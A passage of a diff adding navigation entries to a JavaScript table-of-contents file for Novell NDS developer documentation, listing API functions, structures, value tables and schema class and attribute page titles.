+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0111.";
+top.titles[i] = "NWDSReadNDSInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0112.";
+top.titles[i] = "NWDSReadObjectDSIInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0113.";
+top.titles[i] = "NWDSReadObjectInfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0114.";
+top.titles[i] = "NWDSReadReferences";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0115.";
+top.titles[i] = "NWDSReadSyntaxDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0116.";
+top.titles[i] = "NWDSReadSyntaxes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0117.";
+top.titles[i] = "NWDSReloadDS";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0118.";
+top.titles[i] = "NWDSRemoveAllTypes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0119.";
+top.titles[i] = "NWDSRemoveAttrDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0120.";
+top.titles[i] = "NWDSRemoveClassDef";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0121.";
+top.titles[i] = "NWDSRemoveObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0122.";
+top.titles[i] = "NWDSRemovePartition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0123.";
+top.titles[i] = "NWDSRemoveReplica";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0124.";
+top.titles[i] = "NWDSRemSecurityEquiv";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0125.";
+top.titles[i] = "NWDSRepairTimeStamps";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0126.";
+top.titles[i] = "NWDSReplaceAttrNameAbbrev";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0127.";
+top.titles[i] = "NWDSResolveName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0128.";
+top.titles[i] = "NWDSRestoreObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0129.";
+top.titles[i] = "NWDSReturnBlockOfAvailableTrees";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0130.";
+top.titles[i] = "NWDSScanConnsForTrees";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0131.";
+top.titles[i] = "NWDSScanForAvailableTrees";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0132.";
+top.titles[i] = "NWDSSearch";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0133.";
+top.titles[i] = "NWDSSetContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0134.";
+top.titles[i] = "NWDSSetCurrentUser";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0135.";
+top.titles[i] = "NWDSSetDefNameContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0136.";
+top.titles[i] = "NWDSSetMonitoredConnection";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0137.";
+top.titles[i] = "NWDSSplitPartition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0138.";
+top.titles[i] = "NWDSSyncPartition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0139.";
+top.titles[i] = "NWDSSyncReplicaToServer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0140.";
+top.titles[i] = "NWDSSyncSchema";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0141.";
+top.titles[i] = "NWDSUnlockConnection";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0142.";
+top.titles[i] = "NWDSVerifyObjectPassword";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0143.";
+top.titles[i] = "NWDSWhoAmI";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0144.";
+top.titles[i] = "NWGetDefaultNameContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0145.";
+top.titles[i] = "NWGetFileServerUTCTime";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0146.";
+top.titles[i] = "NWGetNumConnections";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0147.";
+top.titles[i] = "NWGetNWNetVersion";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0148.";
+top.titles[i] = "NWGetPreferredConnName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0149.";
+top.titles[i] = "NWIsDSAuthenticated";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0150.";
+top.titles[i] = "NWIsDSServer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0151.";
+top.titles[i] = "NWNetInit";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0152.";
+top.titles[i] = "NWNetTerm";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0153.";
+top.titles[i] = "NWSetDefaultNameContext";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0003.0154.";
+top.titles[i] = "NWSetPreferredDSTree";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0200.0004.";
+top.titles[i] = "Structures";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0001.";
+top.titles[i] = "Asn1ID_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0002.";
+top.titles[i] = "Attr_Info_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0003.";
+top.titles[i] = "Back_Link_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0004.";
+top.titles[i] = "Bit_String_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0005.";
+top.titles[i] = "Buf_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0006.";
+top.titles[i] = "CI_List_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0007.";
+top.titles[i] = "Class_Info_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0008.";
+top.titles[i] = "EMail_Address_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0009.";
+top.titles[i] = "Fax_Number_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0010.";
+top.titles[i] = "Filter_Cursor_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0011.";
+top.titles[i] = "Filter_Node_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0012.";
+top.titles[i] = "Hold_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0013.";
+top.titles[i] = "NDSOSVersion_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0014.";
+top.titles[i] = "NDSStatsInfo_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0015.";
+top.titles[i] = "Net_Address_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0016.";
+top.titles[i] = "NWDS_TimeStamp_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0017.";
+top.titles[i] = "Object_ACL_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0018.";
+top.titles[i] = "Object_Info_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0019.";
+top.titles[i] = "Octet_List_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0020.";
+top.titles[i] = "Octet_String_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0021.";
+top.titles[i] = "Path_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0022.";
+top.titles[i] = "Replica_Pointer_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0023.";
+top.titles[i] = "Syntax_Info_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0024.";
+top.titles[i] = "TimeStamp_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0025.";
+top.titles[i] = "Typed_Name_T";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0004.0026.";
+top.titles[i] = "Unknown_Attr_T";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0200.0005.";
+top.titles[i] = "Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0001.";
+top.titles[i] = "Attribute Constraint Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0002.";
+top.titles[i] = "Attribute Value Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0003.";
+top.titles[i] = "Buffer Operation Types and Related Functions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0004.";
+top.titles[i] = "Class Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0005.";
+top.titles[i] = "Change Types for Modifying Objects";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0006.";
+top.titles[i] = "Context Keys and Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0007.";
+top.titles[i] = "Default Context Key Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0008.";
+top.titles[i] = "DCK_FLAGS Bit Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0009.";
+top.titles[i] = "DCK_NAME_FORM Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0010.";
+top.titles[i] = "DCK_CONFIDENCE Bit Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0011.";
+top.titles[i] = "DCK_DSI_FLAGS Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0012.";
+top.titles[i] = "DSI_ENTRY_FLAGS Values";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0013.";
+top.titles[i] = "Filter Tokens";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0014.";
+top.titles[i] = "Information Types for Attribute Definitions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0015.";
+top.titles[i] = "Information Types for Class Definitions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0016.";
+top.titles[i] = "Information Types for Search and Read";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0017.";
+top.titles[i] = "Name Space Types";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0018.";
+top.titles[i] = "NDS Access Control Rights";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0019.";
+top.titles[i] = "NDS Ping Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0020.";
+top.titles[i] = "DSP Replica Information Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0021.";
+top.titles[i] = "Network Address Types";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0022.";
+top.titles[i] = "Scope Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0023.";
+top.titles[i] = "Replica Types";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0024.";
+top.titles[i] = "Replica States";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0025.";
+top.titles[i] = "Syntax Matching Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0005.0026.";
+top.titles[i] = "Syntax IDs";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0200.0006.";
+top.titles[i] = "NDS Example Code";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0006.0001.";
+top.titles[i] = "Context Handle";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0006.0002.";
+top.titles[i] = "Object and Attribute";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0006.0003.";
+top.titles[i] = "Browsing and Searching";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0006.0004.";
+top.titles[i] = "Batch Modification of Objects and Attributes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0200.0006.0005.";
+top.titles[i] = "Schema";
+i++;
+
+top.authors[i] = "zHTML xC.5375.0200.0007.";
+top.titles[i] = "Revision History";
+i++;
+
+top.authors[i] = "zFLDR xB.5375.0500.";
+top.titles[i] = "NDS Schema Reference";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0500.0001.";
+top.titles[i] = "Schema Concepts";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0001.";
+top.titles[i] = "Schema Structure";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0002.";
+top.titles[i] = "Schema Components";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0003.";
+top.titles[i] = "Object Classes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0004.";
+top.titles[i] = "Naming Attributes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0005.";
+top.titles[i] = "Containment Classes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0006.";
+top.titles[i] = "Super Classes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0007.";
+top.titles[i] = "Object Class Flags";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0008.";
+top.titles[i] = "Mandatory and Optional Attributes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0009.";
+top.titles[i] = "Default ACL Templates";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0010.";
+top.titles[i] = "Auxiliary Classes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0011.";
+top.titles[i] = "Attribute Type Definitions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0012.";
+top.titles[i] = "Attribute Syntax Definitions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0001.0013.";
+top.titles[i] = "Schema Extensions";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0500.0002.";
+top.titles[i] = "Base Object Class Definitions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0001.";
+top.titles[i] = "AFP Server";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0002.";
+top.titles[i] = "Alias";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0003.";
+top.titles[i] = "applicationEntity";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0004.";
+top.titles[i] = "applicationProcess";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0005.";
+top.titles[i] = "Audit:File Object";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0006.";
+top.titles[i] = "Bindery Object";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0007.";
+top.titles[i] = "Bindery Queue";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0008.";
+top.titles[i] = "certificationAuthority";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0009.";
+top.titles[i] = "CommExec";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0010.";
+top.titles[i] = "Computer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0011.";
+top.titles[i] = "Country";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0012.";
+top.titles[i] = "cRLDistributionPoint";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0013.";
+top.titles[i] = "dcObject";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0014.";
+top.titles[i] = "Device";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0015.";
+top.titles[i] = "Directory Map";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0016.";
+top.titles[i] = "domain";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0017.";
+top.titles[i] = "dSA";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0018.";
+top.titles[i] = "External Entity";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0019.";
+top.titles[i] = "Group";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0020.";
+top.titles[i] = "LDAP Group";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0021.";
+top.titles[i] = "LDAP Server";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0022.";
+top.titles[i] = "List";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0023.";
+top.titles[i] = "Locality";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0024.";
+top.titles[i] = "MASV:Security Policy";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0025.";
+top.titles[i] = "Message Routing Group";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0026.";
+top.titles[i] = "Messaging Server";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0027.";
+top.titles[i] = "NCP Server";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0028.";
+top.titles[i] = "ndsLoginProperties";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0029.";
+top.titles[i] = "NDSPKI:Certificate Authority";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0030.";
+top.titles[i] = "NDSPKI:Key Material";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0031.";
+top.titles[i] = "NDSPKI:SD Key Access Partition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0032.";
+top.titles[i] = "NDSPKI:SD Key List";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0033.";
+top.titles[i] = "NDSPKI:Trusted Root";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0034.";
+top.titles[i] = "NDSPKI:Trusted Root Object";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0035.";
+top.titles[i] = "NSCP:groupOfCertificates";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0036.";
+top.titles[i] = "NSCP:mailGroup1";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0037.";
+top.titles[i] = "NSCP:mailRecipient";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0038.";
+top.titles[i] = "NSCP:NetscapeMailServer5";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0039.";
+top.titles[i] = "NSCP:NetscapeServer5";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0040.";
+top.titles[i] = "NSCP:nginfo3";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0041.";
+top.titles[i] = "NSCP:nsLicenseUser";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0042.";
+top.titles[i] = "Organization";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0043.";
+top.titles[i] = "Organizational Person";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0044.";
+top.titles[i] = "Organizational Role";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0045.";
+top.titles[i] = "Organizational Unit";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0046.";
+top.titles[i] = "Partition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0047.";
+top.titles[i] = "Person";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0048.";
+top.titles[i] = "pkiCA";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0049.";
+top.titles[i] = "pkiUser";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0050.";
+top.titles[i] = "Print Server";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0051.";
+top.titles[i] = "Printer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0052.";
+top.titles[i] = "Profile";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0053.";
+top.titles[i] = "Queue";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0054.";
+top.titles[i] = "Resource";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0055.";
+top.titles[i] = "SAS:Security";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0056.";
+top.titles[i] = "SAS:Service";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0057.";
+top.titles[i] = "Server";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0058.";
+top.titles[i] = "strongAuthenticationUser";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0059.";
+top.titles[i] = "Template";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0060.";
+top.titles[i] = "Top";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0061.";
+top.titles[i] = "Tree Root";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0062.";
+top.titles[i] = "Unknown";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0063.";
+top.titles[i] = "User";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0064.";
+top.titles[i] = "userSecurityInformation";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0065.";
+top.titles[i] = "Volume";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0002.0066.";
+top.titles[i] = "WANMAN:LAN Area";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0500.0003.";
+top.titles[i] = "Novell Object Class Extensions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0001.";
+top.titles[i] = "Entrust:CRLDistributionPoint";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0002.";
+top.titles[i] = "inetOrgPerson";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0003.";
+top.titles[i] = "NDPS Broker";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0004.";
+top.titles[i] = "NDPS Manager";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0005.";
+top.titles[i] = "NDPS Printer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0006.";
+top.titles[i] = "NDSCat:Catalog";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0007.";
+top.titles[i] = "NDSCat:Master Catalog";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0008.";
+top.titles[i] = "NDSCat:Slave Catalog";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0009.";
+top.titles[i] = "NetSvc";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0010.";
+top.titles[i] = "NLS:License Certificate";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0011.";
+top.titles[i] = "NLS:License Server";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0012.";
+top.titles[i] = "NLS:Product Container";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0013.";
+top.titles[i] = "NSCP:groupOfUniqueNames5";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0014.";
+top.titles[i] = "NSCP:mailGroup5";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0015.";
+top.titles[i] = "NSCP:Nginfo";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0016.";
+top.titles[i] = "NSCP:Nginfo2";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0017.";
+top.titles[i] = "residentialPerson";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0018.";
+top.titles[i] = "SLP Scope Unit";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0019.";
+top.titles[i] = "SLP Directory Agent";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0020.";
+top.titles[i] = "SLP Service";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0003.0021.";
+top.titles[i] = "SMS SMDR Class";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0500.0004.";
+top.titles[i] = "Graphical View of Object Class Inheritance";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0001.";
+top.titles[i] = "Alias and Bindery Object Classes";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0002.";
+top.titles[i] = "Tree Root, domain, and Unknown";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0003.";
+top.titles[i] = "Computer, Country, Device, and Printer";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0004.";
+top.titles[i] = "List and Locality";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0005.";
+top.titles[i] = "Organizational Role and Partition";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0006.";
+top.titles[i] = "ndsLoginProperties, Organization, and Organizational Unit";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0007.";
+top.titles[i] = "ndsLoginProperties, Person, Organizational Person, and User";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0008.";
+top.titles[i] = "Directory Map, Profile, Queues, Resource, and Volume";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0009.";
+top.titles[i] = "Servers (AFP, Messaging, NCP, Print) and CommExec";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0004.0010.";
+top.titles[i] = "External Entity, Group, and Message Routing Group";
+i++;
+
+top.authors[i] = "zFLDR xC.5375.0500.0005.";
+top.titles[i] = "Base Attribute Definitions";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0001.";
+top.titles[i] = "Aliased Object Name";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0002.";
+top.titles[i] = "Account Balance";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0003.";
+top.titles[i] = "ACL";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0004.";
+top.titles[i] = "Allow Unlimited Credit";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0005.";
+top.titles[i] = "associatedName";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0006.";
+top.titles[i] = "attributeCertificate";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0007.";
+top.titles[i] = "Audit:A Encryption Key";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0008.";
+top.titles[i] = "Audit:B Encryption Key";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0009.";
+top.titles[i] = "Audit:Contents";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0010.";
+top.titles[i] = "Audit:Current Encryption Key";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0011.";
+top.titles[i] = "Audit:File Link";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0012.";
+top.titles[i] = "Audit:Link List";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0013.";
+top.titles[i] = "Audit:Path";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0014.";
+top.titles[i] = "Audit:Policy";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0015.";
+top.titles[i] = "Audit:Type";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0016.";
+top.titles[i] = "authorityRevocationList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0017.";
+top.titles[i] = "Authority Revocation";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0018.";
+top.titles[i] = "AuxClass Object Class Backup";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0019.";
+top.titles[i] = "Auxiliary Class Flag";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0020.";
+top.titles[i] = "Back Link";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0021.";
+top.titles[i] = "Bindery Object Restriction";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0022.";
+top.titles[i] = "Bindery Property";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0023.";
+top.titles[i] = "Bindery Restriction Level";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0024.";
+top.titles[i] = "Bindery Type";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0025.";
+top.titles[i] = "businessCategory";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0026.";
+top.titles[i] = "";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0027.";
+top.titles[i] = "cACertificate";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0028.";
+top.titles[i] = "CA Private Key";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0029.";
+top.titles[i] = "CA Public Key";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0030.";
+top.titles[i] = "Cartridge";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0031.";
+top.titles[i] = "certificateRevocationList";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0032.";
+top.titles[i] = "Certificate Revocation";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0033.";
+top.titles[i] = "Certificate Validity Interval";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0034.";
+top.titles[i] = "crossCertificatePair";
+i++;
+
+top.authors[i] = "zHTML xD.5375.0500.0005.0035.";
+top.titles[i] = "";
+i++;
+
